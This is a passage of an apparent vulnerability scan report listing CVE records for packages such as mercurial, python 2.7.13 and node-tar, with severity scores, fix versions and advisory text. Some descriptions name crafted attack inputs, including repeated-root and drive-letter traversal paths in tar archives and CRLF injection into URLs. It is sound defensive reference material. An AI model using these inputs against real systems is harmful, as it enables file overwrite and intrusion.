4.5.1', 'severity': 'critical', 'packageName': 'mercurial', 'packageVersion': '4.0', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2018-1000132', 'cvss': 9.1, 'vector': 'CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N', 'description': 'Mercurial version 4.5 and earlier contains a Incorrect Access Control (CWE-285) vulnerability in Protocol server that can result in Unauthorized data access. This attack appear to be exploitable via network connectivity. This vulnerability appears to have been fixed in 4.5.1.', 'riskFactors': ['Attack complexity: low', 'Attack vector: network', 'Critical severity', 'Has fix'], 'publishedDate': '2018-03-14T13:29:00Z'}, {'cveId': 'CVE-2021-3918', 'status': 'fixed in 0.4.0', 'severity': 'critical', 'packageName': 'json-schema', 'packageVersion': '0.2.3', 'link': 'https://github.com/advisories/GHSA-896r-f27r-55mw', 'cvss': 9, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H', 'description': \"json-schema is vulnerable to Improperly Controlled Modification of Object Prototype Attributes (\\\\'Prototype Pollution\\\\')\", 'riskFactors': ['Recent vulnerability', 'Attack complexity: low', 'Attack vector: network', 'Critical severity', 'Has fix'], 'publishedDate': '2021-11-13T09:15:00Z'}, {'cveId': 'CVE-2017-9462', 'status': 'fixed in 4.1.3', 'severity': 'high', 'packageName': 'mercurial', 'packageVersion': '4.0', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2017-9462', 'cvss': 8.8, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H', 'description': 'In Mercurial before 4.1.3, \\\\\"hg serve --stdio\\\\\" allows remote authenticated users to launch the Python debugger, and consequently execute arbitrary code, by using --debugger as a repository name.', 'riskFactors': ['High severity', 'Remote execution', 'Attack complexity: low', 'Attack vector: network', 'Has fix'], 'publishedDate': '2017-06-06T21:29:00Z'}, {'cveId': 'CVE-2021-37701', 'status': 'fixed in 6.1.7, 5.0.8, 4.4.16', 'severity': 'high', 'packageName': 'tar', 'packageVersion': '4.4.13', 'link': 'https://github.com/advisories/GHSA-9r2w-394v-53qc', 'cvss': 8.6, 'vector': 'CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H', 'description': 'The npm package \\\\\"tar\\\\\" (aka node-tar) before versions 4.4.16, 5.0.8, and 6.1.7 has an arbitrary file creation/overwrite and arbitrary code execution vulnerability. node-tar aims to guarantee that any file whose location would be modified by a symbolic link is not extracted. This is, in part, achieved by ensuring that extracted directories are not symlinks. Additionally, in order to prevent unnecessary stat calls to determine whether a given path is a directory, paths are cached when directories are created. This logic was insufficient when extracting tar files that contained both a directory and a symlink with the same name as the directory, where the symlink and directory names in the archive entry used backslashes as a path separator on posix systems. The cache checking logic used both `\\\\\\\\` and `/` characters as path separators, however `\\\\\\\\` is a valid filename character on posix systems. By first creating a directory, and then replacing that directory with a symlink, it was thus possible to bypass node-tar symlink checks on directories, essentially allowing an untrusted tar file to symlink into an arbitrary location and subsequently extracting arbitrary files into that location, thus allowing arbitrary file creation and overwrite. Additionally, a similar confusion could arise on case-insensitive filesystems. If a tar archive contained a directory at `FOO`, followed by a symboli', 'riskFactors': ['Has fix', 'High severity', 'Recent vulnerability', 'Attack complexity: low'], 'publishedDate': '2021-08-31T17:15:00Z'}, {'cveId': 'CVE-2021-32804', 'status': 'fixed in 6.1.1, 5.0.6, 4.4.14,...', 'severity': 'high', 'packageName': 'tar', 'packageVersion': '4.4.13', 'link': 'https://github.com/advisories/GHSA-3jfq-g458-7qm9', 'cvss': 8.1, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H', 'description': 'The npm package \\\\\"tar\\\\\" (aka node-tar) before versions 6.1.1, 5.0.6, 4.4.14, and 3.3.2 has a arbitrary File Creation/Overwrite vulnerability due to insufficient absolute path sanitization. node-tar aims to prevent extraction of absolute file paths by turning absolute paths into relative paths when the `preservePaths` flag is not set to `true`. This is achieved by stripping the absolute path root from any absolute file paths contained in a tar file. For example `/home/user/.bashrc` would turn into `home/user/.bashrc`. This logic was insufficient when file paths contained repeated path roots such as `////home/user/.bashrc`. `node-tar` would only strip a single path root from such paths. When given an absolute file path with repeating path roots, the resulting path (e.g. `///home/user/.bashrc`) would still resolve to an absolute path, thus allowing arbitrary file creation and overwrite. This issue was addressed in releases 3.2.2, 4.4.14, 5.0.6 and 6.1.1. Users may work around this vulnerability without upgrading by creating a custom `onentry` method which sanitizes the `entry.path` or a `filter` method which removes entries with absolute paths. See referenced GitHub Advisory for details. Be aware of CVE-2021-32803 which fixes a similar bug in later versions of tar.', 'riskFactors': ['Attack vector: network', 'Has fix', 'High severity', 'Recent vulnerability', 'Attack complexity: low'], 'publishedDate': '2021-08-03T19:15:00Z'}, {'cveId': 'CVE-2021-32803', 'status': 'fixed in 6.1.2, 5.0.7, 4.4.15,...', 'severity': 'high', 'packageName': 'tar', 'packageVersion': '4.4.13', 'link': 'https://github.com/advisories/GHSA-r628-mhmh-qjhw', 'cvss': 8.1, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H', 'description': 'The npm package \\\\\"tar\\\\\" (aka node-tar) before versions 6.1.2, 5.0.7, 4.4.15, and 3.2.3 has an arbitrary File Creation/Overwrite vulnerability via insufficient symlink protection. `node-tar` aims to guarantee that any file whose location would be modified by a symbolic link is not extracted. This is, in part, achieved by ensuring that extracted directories are not symlinks. Additionally, in order to prevent unnecessary `stat` calls to determine whether a given path is a directory, paths are cached when directories are created. This logic was insufficient when extracting tar files that contained both a directory and a symlink with the same name as the directory. This order of operations resulted in the directory being created and added to the `node-tar` directory cache. When a directory is present in the directory cache, subsequent calls to mkdir for that directory are skipped. However, this is also where `node-tar` checks for symlinks occur. By first creating a directory, and then replacing that directory with a symlink, it was thus possible to bypass `node-tar` symlink checks on directories, essentially allowing an untrusted tar file to symlink into an arbitrary location and subsequently extracting arbitrary files into that location, thus allowing arbitrary file creation and overwrite. This issue was addressed in releases 3.2.3, 4.4.15, 5.0.7 and 6.1.2.', 'riskFactors': ['High severity', 'Recent vulnerability', 'Attack complexity: low', 'Attack vector: network', 'Has fix'], 'publishedDate': '2021-08-03T19:15:00Z'}, {'cveId': 'CVE-2016-4472', 'status': 'fixed in 3.6.2, 3.5.4, 3.4.7,...', 'severity': 'high', 'packageName': 'python', 'packageVersion': '2.7.13', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2016-4472', 'cvss': 8.1, 'vector': 'CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H', 'description': 'The overflow protection in Expat is removed by compilers with certain optimization settings, which allows remote attackers to cause a denial of service (crash) or possibly execute arbitrary code via crafted XML data.  NOTE: this vulnerability exists because of an incomplete fix for CVE-2015-1283 and CVE-2015-2716.', 'riskFactors': ['Attack vector: network', 'DoS', 'Has fix', 'High severity', 'Remote execution'], 'publishedDate': '2016-06-30T17:59:00Z'}, {'cveId': 'CVE-2017-20052', 'status': 'open', 'severity': 'high', 'packageName': 'python', 'packageVersion': '2.7.13', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2017-20052', 'cvss': 7.8, 'vector': 'CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H', 'description': 'A vulnerability classified as problematic was found in Python 2.7.13. This vulnerability affects unknown code of the component pgAdmin4. The manipulation leads to uncontrolled search path. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used.', 'riskFactors': ['High severity', 'Attack complexity: low'], 'publishedDate': '2022-06-16T07:15:00Z'}, {'cveId': 'CVE-2017-20052', 'status': 'open', 'severity': 'high', 'packageName': 'python', 'packageVersion': '2.7.13', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2017-20052', 'cvss': 7.8, 'vector': 'CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H', 'description': 'A vulnerability classified as problematic was found in Python 2.7.13. This vulnerability affects unknown code of the component pgAdmin4. The manipulation leads to uncontrolled search path. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used.', 'riskFactors': ['Attack complexity: low', 'High severity'], 'publishedDate': '2022-06-16T07:15:00Z'}, {'cveId': 'PRISMA-2022-0039', 'status': 'fixed in 3.0.5', 'severity': 'high', 'packageName': 'minimatch', 'packageVersion': '3.0.4', 'link': 'https://github.com/isaacs/minimatch/commit/a8763f4388e51956be62dc6025cec1126beeb5e6', 'cvss': 7.5, 'vector': None, 'description': \"minimatch package versions before 3.0.5 are vulnerable to Regular Expression Denial of Service (ReDoS). It\\\\'s possible to cause a denial of service when calling function braceExpand (The regex /\\\\\\\\{.*\\\\\\\\}/ is vulnerable and can be exploited).\", 'riskFactors': ['DoS', 'Has fix', 'High severity'], 'publishedDate': '2022-02-21T09:51:41Z'}, {'cveId': 'CVE-2022-0391', 'status': 'fixed in 3.9.5, 3.8.11, 3.7.11,...', 'severity': 'high', 'packageName': 'python', 'packageVersion': '2.7.13', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2022-0391', 'cvss': 7.5, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N', 'description': \"A flaw was found in Python, specifically within the urllib.parse module. This module helps break Uniform Resource Locator (URL) strings into components. The issue involves how the urlparse method does not sanitize input and allows characters like \\\\'\\\\r\\\\' and \\\\'\\\\n\\\\' in the URL path. This flaw allows an attacker to input a crafted URL, leading to injection attacks. This flaw affects Python versions prior to 3.10.0b1, 3.9.5, 3.8.11, 3.7.11 and 3.6.14.\", 'riskFactors': ['Attack vector: network', 'Has fix', 'High severity', 'Recent vulnerability', 'Attack complexity: low'], 'publishedDate': '2022-02-09T23:15:00Z'}, {'cveId': 'CVE-2021-3807', 'status': 'fixed in 4.1.1', 'severity': 'high', 'packageName': 'ansi-regex', 'packageVersion': '3.0.0', 'link': 'https://github.com/advisories/GHSA-93q8-gq69-wqmw', 'cvss': 7.5, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H', 'description': 'ansi-regex is vulnerable to Inefficient Regular Expression Complexity', 'riskFactors': ['Attack complexity: low', 'Attack vector: network', 'Has fix', 'High severity', 'Recent vulnerability'], 'publishedDate': '2021-09-17T07:15:00Z'}, {'cveId': 'CVE-2021-3807', 'status': 'fixed in 4.1.1', 'severity': 'high', 'packageName': 'ansi-regex', 'packageVersion': '4.1.0', 'link': 'https://github.com/advisories/GHSA-93q8-gq69-wqmw', 'cvss': 7.5, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H', 'description': 'ansi-regex is vulnerable to Inefficient Regular Expression Complexity', 'riskFactors': ['Attack vector: network', 'Has fix', 'High severity', 'Recent vulnerability', 'Attack complexity: low'], 'publishedDate': '2021-09-17T07:15:00Z'}, {'cveId': 'CVE-2021-23343', 'status': 'fixed in 1.0.7', 'severity': 'high', 'packageName': 'path-parse', 'packageVersion': '1.0.6', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2021-23343', 'cvss': 7.5, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H', 'description': 'All versions of package path-parse are vulnerable to Regular Expression Denial of Service (ReDoS) via splitDeviceRe, splitTailRe, and splitPathRe regular expressions. ReDoS exhibits polynomial worst-case time complexity.', 'riskFactors': ['Attack vector: network', 'DoS', 'Has fix', 'High severity', 'Recent vulnerability', 'Attack complexity: low'], 'publishedDate': '2021-05-04T00:00:00Z'}, {'cveId': 'CVE-2019-9674', 'status': 'open', 'severity': 'high', 'packageName': 'python', 'packageVersion': '2.7.13', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2019-9674', 'cvss': 7.5, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H', 'description': 'Lib/zipfile.py in Python through 3.7.2 allows remote attackers to cause a denial of service (resource consumption) via a ZIP bomb.', 'riskFactors': ['Attack complexity: low', 'Attack vector: network', 'DoS', 'High severity'], 'publishedDate': '2020-02-04T15:15:00Z'}, {'cveId': 'CVE-2019-5010', 'status': 'fixed in 3.7.3, 3.6.9, 3.5.7,...', 'severity': 'high', 'packageName': 'python', 'packageVersion': '2.7.13', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2019-5010', 'cvss': 7.5, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H', 'description': 'An exploitable denial-of-service vulnerability exists in the X509 certificate parser of Python.org Python 2.7.11 / 3.6.6. A specially crafted X509 certificate can cause a NULL pointer dereference, resulting in a denial of service. An attacker can initiate or accept TLS connections using crafted certificates to trigger this vulnerability.', 'riskFactors': ['Attack complexity: low', 'Attack vector: network', 'DoS', 'Has fix', 'High severity'], 'publishedDate': '2019-10-31T21:15:00Z'}, {'cveId': 'CVE-2019-16056', 'status': 'open', 'severity': 'high', 'packageName': 'python', 'packageVersion': '2.7.13', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2019-16056', 'cvss': 7.5, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N', 'description': 'An issue was discovered in Python through 2.7.16, 3.x through 3.5.7, 3.6.x through 3.6.9, and 3.7.x through 3.7.4. The email module wrongly parses email addresses that contain multiple @ characters. An application that uses the email module and implements some kind of checks on the From/To headers of a message could be tricked into accepting an email address that should be denied. An attack may be the same as in CVE-2019-11340; however, this CVE applies to Python more generally.', 'riskFactors': ['Attack complexity: low', 'Attack vector: network', 'High severity'], 'publishedDate': '2019-09-06T18:15:00Z'}, {'cveId': 'CVE-2019-15903', 'status': 'fixed in 2.2.8', 'severity': 'high', 'packageName': 'python', 'packageVersion': '2.7.13', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2019-15903', 'cvss': 7.5, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H', 'description': 'In libexpat before 2.2.8, crafted XML input could fool the parser into changing from DTD parsing to document parsing too early; a consecutive call to XML_GetCurrentLineNumber (or XML_GetCurrentColumnNumber) then resulted in a heap-based buffer over-read.', 'riskFactors': ['Attack complexity: low', 'Attack vector: network', 'Has fix', 'High severity'], 'publishedDate': '2019-09-04T06:15:00Z'}, {'cveId': 'CVE-2018-14647', 'status': 'open', 'severity': 'high', 'packageName': 'python', 'packageVersion': '2.7.13', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2018-14647', 'cvss': 7.5, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H', 'description': \"Python\\\\'s elementtree C accelerator failed to initialise Expat\\\\'s hash salt during initialization. This could make it easy to conduct denial of service attacks against Expat by constructing an XML document that would cause pathological hash collisions in Expat\\\\'s internal data structures, consuming large amounts CPU and RAM. The vulnerability exists in Python versions 3.7.0, 3.6.0 through 3.6.6, 3.5.0 through 3.5.6, 3.4.0 through 3.4.9, 2.7.0 through 2.7.15.\", 'riskFactors': ['Attack complexity: low', 'Attack vector: network', 'DoS', 'High severity'], 'publishedDate': '2018-09-25T00:29:00Z'}, {'cveId': 'CVE-2018-13348', 'status': 'fixed in 4.6.1', 'severity': 'high', 'packageName': 'mercurial', 'packageVersion': '4.0', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2018-13348', 'cvss': 7.5, 'vector': 'CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N', 'description': 'The mpatch_decode function in mpatch.c in Mercurial before 4.6.1 mishandles certain situations where there should be at least 12 bytes remaining after the current position in the patch data, but actually are not, aka OVE-20180430-0001.', 'riskFactors': ['Attack vector: network', 'Has fix', 'High severity', 'Attack complexity: low'], 'publishedDate': '2018-07-06T00:29:00Z'}, {'cveId': 'CVE-2018-13346', 'status': 'fixed in 4.6.1', 'severity': 'high', 'packageName': 'mercurial', 'packageVersion': '4.0', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2018-13346', 'cvss': 7.5, 'vector': 'CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N', 'description': 'The mpatch_apply function in mpatch.c in Mercurial before 4.6.1 incorrectly proceeds in cases where the fragment start is past the end of the original data, aka OVE-20180430-0004.', 'riskFactors': ['Attack complexity: low', 'Attack vector: network', 'Has fix', 'High severity'], 'publishedDate': '2018-07-06T00:29:00Z'}, {'cveId': 'CVE-2018-1061', 'status': 'fixed in 2.7.15', 'severity': 'high', 'packageName': 'python', 'packageVersion': '2.7.13', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2018-1061', 'cvss': 7.5, 'vector': 'CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H', 'description': 'python before versions 2.7.15, 3.4.9, 3.5.6rc1, 3.6.5rc1 and 3.7.0 is vulnerable to catastrophic backtracking in the difflib.IS_LINE_JUNK method.  An attacker could use this flaw to cause denial of service.', 'riskFactors': ['Attack complexity: low', 'Attack vector: network', 'DoS', 'Has fix', 'High severity'], 'publishedDate': '2018-06-19T12:29:00Z'}, {'cveId': 'CVE-2018-1060', 'status': 'fixed in 3.6.5, 3.5.6, 2.7.15', 'severity': 'high', 'packageName': 'python', 'packageVersion': '2.7.13', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2018-1060', 'cvss': 7.5, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H', 'description': \"python before versions 2.7.15, 3.4.9, 3.5.6rc1, 3.6.5rc1 and 3.7.0 is vulnerable to catastrophic backtracking in pop3lib\\\\'s apop() method. An attacker could use this flaw to cause denial of service.\", 'riskFactors': ['Attack complexity: low', 'Attack vector: network', 'DoS', 'Has fix', 'High severity'], 'publishedDate': '2018-06-18T14:29:00Z'}, {'cveId': 'CVE-2017-9233', 'status': 'fixed in 3.6.2, 3.5.4, 3.4.7,...', 'severity': 'high', 'packageName': 'python', 'packageVersion': '2.7.13', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2017-9233', 'cvss': 7.5, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H', 'description': 'XML External Entity vulnerability in libexpat 2.2.0 and earlier (Expat XML Parser Library) allows attackers to put the parser in an infinite loop using a malformed external entity definition from an external DTD.', 'riskFactors': ['High severity', 'Attack complexity: low', 'Attack vector: network', 'Has fix'], 'publishedDate': '2017-07-25T20:29:00Z'}, {'cveId': 'CVE-2017-1000115', 'status': 'fixed in 4.3', 'severity': 'high', 'packageName': 'mercurial', 'packageVersion': '4.0', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2017-1000115', 'cvss': 7.5, 'vector': 'CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N', 'description': 'Mercurial prior to version 4.3 is vulnerable to a missing symlink check that can malicious repositories to modify files outside the repository', 'riskFactors': ['Attack complexity: low', 'Attack vector: network', 'Has fix', 'High severity'], 'publishedDate': '2017-10-05T01:29:00Z'}, {'cveId': 'CVE-2021-37713', 'status': 'fixed in 6.1.9, 5.0.10, 4.4.18', 'severity': 'high', 'packageName': 'tar', 'packageVersion': '4.4.13', 'link': 'https://github.com/advisories/GHSA-5955-9wpr-37jh', 'cvss': 7, 'vector': 'CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H', 'description': 'The npm package \\\\\"tar\\\\\" (aka node-tar) before versions 4.4.18, 5.0.10, and 6.1.9 has an arbitrary file creation/overwrite and arbitrary code execution vulnerability. node-tar aims to guarantee that any file whose location would be outside of the extraction target directory is not extracted. This is, in part, accomplished by sanitizing absolute paths of entries within the archive, skipping archive entries that contain `..` path portions, and resolving the sanitized paths against the extraction target directory. This logic was insufficient on Windows systems when extracting tar files that contained a path that was not an absolute path, but specified a drive letter different from the extraction target, such as `C:some\\\\\\\\path`. If the drive letter does not match the extraction target, for example `D:\\\\\\\\extraction\\\\\\\\dir`, then the result of `path.resolve(extractionDirectory, entryPath)` would resolve against the current working directory on the `C:` drive, rather than the extraction target directory. Additionally, a `..` portion of the path could occur immediately after the drive letter, such as `C:../foo`, and was not properly sanitized by the logic that checked for `..` within the normalized and split portions of the path. This only affects users of `node-tar` on Windows systems. These issues were addressed in releases 4.4.18, 5.0.10 and 6.1.9. The v3 branch of node-tar has been deprecate', 'riskFactors': ['Attack complexity: low', 'Has fix', 'High severity', 'Recent vulnerability'], 'publishedDate': '2021-08-31T17:15:00Z'}, {'cveId': 'CVE-2021-37712', 'status': 'fixed in 6.1.9, 5.0.10, 4.4.18', 'severity': 'high', 'packageName': 'tar', 'packageVersion': '4.4.13', 'link': 'https://github.com/advisories/GHSA-qq89-hq3f-393p', 'cvss': 7, 'vector': 'CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H', 'description': 'The npm package \\\\\"tar\\\\\" (aka node-tar) before versions 4.4.18, 5.0.10, and 6.1.9 has an arbitrary file creation/overwrite and arbitrary code execution vulnerability. node-tar aims to guarantee that any file whose location would be modified by a symbolic link is not extracted. This is, in part, achieved by ensuring that extracted directories are not symlinks. Additionally, in order to prevent unnecessary stat calls to determine whether a given path is a directory, paths are cached when directories are created. This logic was insufficient when extracting tar files that contained both a directory and a symlink with names containing unicode values that normalized to the same value. Additionally, on Windows systems, long path portions would resolve to the same file system entities as their 8.3 \\\\\"short path\\\\\" counterparts. A specially crafted tar archive could thus include a directory with one form of the path, followed by a symbolic link with a different string that resolves to the same file system entity, followed by a file using the first form. By first creating a directory, and then replacing that directory with a symlink that had a different apparent name that resolved to the same entry in the filesystem, it was thus possible to bypass node-tar symlink checks on directories, essentially allowing an untrusted tar file to symlink into an arbitrary location and subsequently extracting ', 'riskFactors': ['Attack complexity: low', 'Has fix', 'High severity', 'Recent vulnerability'], 'publishedDate': '2021-08-31T17:15:00Z'}, {'cveId': 'CVE-2021-27290', 'status': 'fixed in 8.0.1, 7.1.1, 6.0.2', 'severity': 'high', 'packageName': 'ssri', 'packageVersion': '6.0.1', 'link': 'https://github.com/advisories/GHSA-vx3p-948g-6vhq', 'cvss': 7, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H', 'description': 'ssri 5.2.2-8.0.0, fixed in 8.0.1, processes SRIs using a regular expression which is vulnerable to a denial of service. Malicious SRIs could take an extremely long time to process, leading to denial of service. This issue only affects consumers using the strict option.', 'riskFactors': ['Recent vulnerability', 'Attack complexity: low', 'Attack vector: network', 'DoS', 'Has fix', 'High severity'], 'publishedDate': '2021-03-12T22:15:00Z'}, {'cveId': 'CVE-2020-29599', 'status': 'fixed in 8:6.9.10.23+dfsg-2.1+deb10u1', 'severity': 'medium', 'packageName': 'imagemagick', 'packageVersion': '8:6.9.7.4+dfsg-11+deb9u12', 'link': 'https://security-tracker.debian.org/tracker/CVE-2020-29599', 'cvss': 7.8, 'vector': 'CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H', 'description': 'ImageMagick before 6.9.11-40 and 7.x before 7.0.10-40 mishandles the -authenticate option, which allows setting a password for password-protected PDF files. The user-controlled password was not properly escaped/sanitized and it was therefore possible to inject additional shell commands via coders/pdf.c.', 'riskFactors': ['Attack complexity: low', 'Has fix', 'Medium severity'], 'publishedDate': '2020-12-07T20:15:00Z'}, {'cveId': 'CVE-2021-3733', 'status': 'fixed in 3.9.5, 3.8.10, 3.7.11,...', 'severity': 'medium', 'packageName': 'python', 'packageVersion': '2.7.13', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2021-3733', 'cvss': 6.5, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H', 'description': \"There\\\\'s a flaw in urllib\\\\'s AbstractBasicAuthHandler class. An attacker who controls a malicious HTTP server that an HTTP client (such as web browser) connects to, could trigger a Regular Expression Denial of Service (ReDOS) during an authentication request with a specially crafted payload that is sent by the server to the client. The greatest threat that this flaw poses is to application availability.\", 'riskFactors': ['Medium severity', 'Recent vulnerability', 'Attack complexity: low', 'Attack vector: network', 'DoS', 'Has fix'], 'publishedDate': '2022-03-10T17:42:00Z'}, {'cveId': 'CVE-2020-8492', 'status': 'open', 'severity': 'medium', 'packageName': 'python', 'packageVersion': '2.7.13', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2020-8492', 'cvss': 6.5, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H', 'description': 'Python 2.7 through 2.7.17, 3.5 through 3.5.9, 3.6 through 3.6.10, 3.7 through 3.7.6, and 3.8 through 3.8.1 allows an HTTP server to conduct Regular Expression Denial of Service (ReDoS) attacks against a client because of urllib.request.AbstractBasicAuthHandler catastrophic backtracking.', 'riskFactors': ['DoS', 'Medium severity', 'Attack complexity: low', 'Attack vector: network'], 'publishedDate': '2020-01-30T19:15:00Z'}, {'cveId': 'CVE-2019-9947', 'status': 'open', 'severity': 'medium', 'packageName': 'python', 'packageVersion': '2.7.13', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2019-9947', 'cvss': 6.1, 'vector': 'CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N', 'description': 'An issue was discovered in urllib2 in Python 2.x through 2.7.16 and urllib in Python 3.x through 3.7.3. CRLF injection is possible if the attacker controls a url parameter, as demonstrated by the first argument to urllib.request.urlopen with \\\\r\\\\n (specifically in the path component of a URL that lacks a ? character) followed by an HTTP header or a Redis command. This is similar to the CVE-2019-9740 query string issue. This is fixed in: v2.7.17, v2.7.17rc1, v2.7.18, v2.7.18rc1; v3.5.10, v3.5.10rc1, v3.5.8, v3.5.8rc1, v3.5.8rc2, v3.5.9; v3.6.10, v3.6.10rc1, v3.6.11, v3.6.11rc1, v3.6.12, v3.6.9, v3.6.9rc1; v3.7.4, v3.7.4rc1, v3.7.4rc2, v3.7.5, v3.7.5rc1, v3.7.6, v3.7.6rc1, v3.7.7, v3.7.7rc1, v3.7.8, v3.7.8rc1, v3.7.9.', 'riskFactors': ['Attack complexity: low', 'Attack vector: network', 'Medium severity'], 'publishedDate': '2019-03-23T18:29:00Z'}, {'cveId': 'CVE-2019-9740', 'status': 'open', 'severity': 'medium', 'packageName': 'python', 'packageVersion': '2.7.13', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2019-9740', 'cvss': 6.1, 'vector': 'CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N', 'description': 'An issue was discovered in urllib2 in Python 2.x through 2.7.16 and urllib in Python 3.x through 3.7.3. CRLF injection is possible if the attacker controls a url parameter, as demonstrated by the first argument to urllib.request.urlopen with \\\\r\\\\n (specifically in the query string after a ? character) followed by an HTTP header or a Redis command. This is fixed in: v2.7.17, v2.7.17rc1, v2.7.18, v2.7.18rc1; v3.5.10, v3.5.10rc1, v3.5.8, v3.5.8rc1, v3.5.8rc2, v3.5.9; v3.6.10, v3.6.10rc1, v3.6.11, v3.6.11rc1, v3.6.12, v3.6.9, v3.6.9rc1; v3.7.4, v3.7.4rc1, v3.7.4rc2, v3.7.5, v3.7.5rc1, v3.7.6, v3.7.6rc1, v3.7.7, v3.7.7rc1, v3.7.8, v3.7.8rc1, v3.7.9.', 'riskFactors': ['Attack complexity: low', 'Attack vector: network', 'Medium severity'], 'publishedDate': '2019-03-13T03:29:00Z'}, {'cveId': 'CVE-2019-18348', 'status': 'fixed in 3.8.3, 3.7.8, 3.6.11', 'severity': 'medium', 'packageName': 'python', 'packageVersion': '2.7.13', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2019-18348', 'cvss': 6.1, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N', 'description': 'An issue was discovered in urllib2 in Python 2.x through 2.7.17 and urllib in Python 3.x through 3.8.0. CRLF injection is possible if the attacker controls a url parameter, as demonstrated by the first argument to urllib.request.urlopen with \\\\r\\\\n (specifically in the host component of a URL) followed by an HTTP header. This is similar to the CVE-2019-9740 query string issue and the CVE-2019-9947 path string issue. (This is not exploitable when glibc has CVE-2016-10739 fixed.). This is fixed in: v2.7.18, v2.7.18rc1; v3.5.10, v3.5.10rc1; v3.6.11, v3.6.11rc1, v3.6.12; v3.7.8, v3.7.8rc1, v3.7.9; v3.8.3, v3.8.3rc1, v3.8.4, v3.8.4rc1, v3.8.5, v3.8.6, v3.8.6rc1.', 'riskFactors': ['Attack vector: network', 'Has fix', 'Medium severity', 'Attack complexity: low'], 'publishedDate': '2019-10-23T17:15:00Z'}, {'cveId': 'CVE-2019-16935', 'status': 'open', 'severity': 'medium', 'packageName': 'python', 'packageVersion': '2.7.13', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2019-16935', 'cvss': 6.1, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N', 'description': 'The documentation XML-RPC server in Python through 2.7.16, 3.x through 3.6.9, and 3.7.x through 3.7.4 has XSS via the server_title field. This occurs in Lib/DocXMLRPCServer.py in Python 2.x, and in Lib/xmlrpc/server.py in Python 3.x. If set_server_title is called with untrusted input, arbitrary JavaScript can be delivered to clients that visit the http URL for this server.', 'riskFactors': ['Attack vector: network', 'Medium severity', 'Attack complexity: low'], 'publishedDate': '2019-09-28T02:15:00Z'}, {'cveId': 'CVE-2021-23336', 'status': 'fixed in 3.9.2, 3.8.8, 3.7.10,...', 'severity': 'medium', 'packageName': 'python', 'packageVersion': '2.7.13', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2021-23336', 